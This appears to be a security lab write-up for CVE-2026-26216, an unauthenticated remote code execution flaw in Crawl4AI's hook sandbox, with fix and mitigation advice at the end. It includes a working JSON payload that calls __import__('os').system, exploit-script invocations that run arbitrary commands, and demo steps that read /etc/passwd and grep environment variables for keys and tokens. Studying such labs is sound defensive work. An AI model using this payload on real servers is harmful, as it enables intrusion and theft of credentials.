$ cat cve-2026-26216-crawl4ai-hooks-rce.mdx
CVE-2026-26216: Crawl4AI unauthenticated RCE via hooks
Authorization: this is a self-contained lab built for education and authorized security research. The vulnerable target runs locally in Docker. Only use it against systems you own or have explicit written permission to test — misuse can be a crime.
Summary
CVE-2026-26216 (GHSA-5882-5rx9-xgxp, CVSS 10.0, CWE-94) is a
pre-authentication remote code execution bug in Crawl4AI below 0.8.0.
The Docker server's POST /crawl endpoint accepts arbitrary Python in the
hooks.code.<event> field and runs it through exec() inside a homemade
sandbox — a restricted dictionary of builtins.
The sandbox strips open, eval, and exec, but __import__ was left on
the allowlist. That single forgotten builtin hands over the entire standard
library:
__import__("os").system("id")Because the official deployment ships with JWT disabled by default and the container runs as root, one JSON body is enough for unauthenticated root RCE.
Impact
| Axis | What an attacker gets |
|---|---|
| Confidentiality | OPENAI_API_KEY, internal tokens, and every other container secret |
| Integrity | Arbitrary file write — backdoors, tampered crawl output |
| Availability | Kill processes, wipe data inside the container |
| Lateral movement | The container usually reaches the internal network → pivot |
All of it without a single credential.
Affected versions
| Crawl4AI | Status |
|---|---|
< 0.8.0 | Vulnerable — __import__ allowed, hooks enabled by default |
>= 0.8.0 | Fixed — __import__ removed, hooks opt-in via CRAWL4AI_HOOKS_ENABLED |
Proof of concept
The whole exploit is the request body. The hook is a normal async def that the
server compiles and executes for the named event:
{
"urls": ["https://example.com"],
"hooks": {
"code": {
"on_page_context_created":
"async def hook(page, context, **kwargs):\n __import__('os').system('id')\n return page"
}
}
}The lab in the repo is a lean reproduction of the vulnerable code path — no
Chromium/Playwright, so it stays light and fully reproducible — with the
vulnerable line marked in vulnerable-app/hook_manager.py:
CVE-2026-26216/
├── docker-compose.yml # brings up the vulnerable server
├── vulnerable-app/
│ ├── Dockerfile # runs as root, like the official image
│ ├── server.py # FastAPI: POST /crawl, no auth
│ └── hook_manager.py # the weak sandbox — vulnerable line here
└── exploit/
└── exploit.py # stdlib-only exploit--demo walks the five stages that make the point:
| # | Action | Result |
|---|---|---|
| 1 | open('/etc/passwd') directly | Blocked by the sandbox (false security) |
| 2 | __import__('subprocess') + id / whoami | Command execution as root |
| 3 | cat /etc/passwd through the shell | Arbitrary file read |
| 4 | env | grep -Ei 'KEY|TOKEN|SECRET' | API key / token exfiltration |
| 5 | echo ... > /tmp/PWNED | Arbitrary file write |
Step 1 is the interesting one: the naive payload really is blocked, which is exactly what makes the allowlist feel safe right up until step 2 lands.
Run it
Prerequisites: Docker and Python 3 (the exploit uses stdlib only).
1. Bring up the target:
docker compose up -d --build2. Run the full demonstration:
python3 exploit/exploit.py --target http://localhost:11235 --demo3. Or execute an arbitrary command:
python3 exploit/exploit.py --target http://localhost:11235 --cmd "id; hostname; env"--event swaps the abused hook event (default on_page_context_created).
4. Tear it down:
docker compose down -vFix and mitigations
Fixed in Crawl4AI 0.8.0: __import__ (alongside eval, exec, and open)
was removed from the permitted builtins, and hooks are now disabled by
default, opt-in through CRAWL4AI_HOOKS_ENABLED=true.
- Upgrade to
crawl4ai >= 0.8.0. - Never expose the Crawl4AI server directly to the internet; enable JWT.
- Don't run the container as root — use an unprivileged user and a read-only FS.
- Treat a builtins allowlist as what it is: not a sandbox. Untrusted code needs real isolation (gVisor, a microVM, or a separate process with no network and no filesystem, plus seccomp).